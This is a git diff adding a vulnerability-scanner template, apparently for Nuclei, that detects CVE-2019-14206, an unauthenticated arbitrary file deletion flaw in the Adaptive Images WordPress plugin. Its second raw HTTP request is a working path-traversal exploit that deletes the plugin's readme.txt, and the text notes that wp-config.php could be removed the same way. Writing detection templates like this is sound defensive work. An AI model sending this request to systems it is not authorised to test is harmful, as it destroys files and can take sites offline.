diff --git a/http/cves/2019/CVE-2019-14206.yaml b/http/cves/2019/CVE-2019-14206.yaml new file mode 100644 index 000000000000..b5822b7d474b --- /dev/null +++ b/http/cves/2019/CVE-2019-14206.yaml @@ -0,0 +1,60 @@ +id: CVE-2019-14206 + +info: + name: Nevma Adaptive Images < 0.6.67 - Arbitrary File Deletion + author: KrE80r + severity: critical + description: | + Nevma Adaptive Images plugin before 0.6.67 for WordPress allows unauthenticated arbitrary file deletion via unsanitized 'adaptive-images-settings' array parameters. The plugin accepts user-controlled source_file, wp_content, cache_dir, and request_uri values without validation, enabling path traversal to delete arbitrary files. + + Deletion requires source_file timestamp > target timestamp. Attackers use recently uploaded media or modified files (like .htaccess) as source_file. + impact: | + Unauthenticated attackers can delete arbitrary files on the server, potentially causing denial of service by removing critical files like wp-config.php. + remediation: Update to version 0.6.67 or later, or remove the plugin. + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-14206 + - https://markgruffer.github.io/2019/07/19/adaptive-images-for-wordpress-0-6-66-lfi-rce-file-deletion.html + - https://wpscan.com/vulnerability/9868 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H + cvss-score: 9.1 + cve-id: CVE-2019-14206 + cwe-id: CWE-22 + epss-score: 0.00393 + epss-percentile: 0.71051 + cpe: cpe:2.3:a:nevma:adaptive_images:*:*:*:*:*:wordpress:*:* + metadata: + verified: true + max-request: 3 + vendor: nevma + product: adaptive_images + framework: wordpress + publicwww-query: "/wp-content/plugins/adaptive-images/" + tags: cve,cve2019,wordpress,wp-plugin,file-deletion,adaptive-images,nevma,path-traversal + +http: + - raw: + # Request 1: Verify plugin readme.txt exists + - | + GET /wp-content/plugins/adaptive-images/readme.txt HTTP/1.1 + Host: {{Hostname}} + + # Request 2: Trigger file deletion using /tmp directory as source_file + # /tmp mtime updates on any file creation (PHP sessions, uploads, temp files) + # Always recent on active servers - filemtime() works on directories + - | + GET /wp-content/plugins/adaptive-images/adaptive-images-script.php?resolution=480&adaptive-images-settings%5Bsource_file%5D=/tmp&adaptive-images-settings%5Bresolution%5D=&adaptive-images-settings%5Bwp_content%5D=/var/www/html/wp-content&adaptive-images-settings%5Bcache_dir%5D=.&adaptive-images-settings%5Brequest_uri%5D=plugins/adaptive-images/readme.txt&adaptive-images-settings%5Bwatch_cache%5D=1 HTTP/1.1 + Host: {{Hostname}} + + # Request 3: Verify readme.txt was deleted + - | + GET /wp-content/plugins/adaptive-images/readme.txt HTTP/1.1 + Host: {{Hostname}} + + matchers-condition: and + matchers: + - type: dsl + dsl: + - "status_code_1 == 200" + - "status_code_3 != 200" + condition: and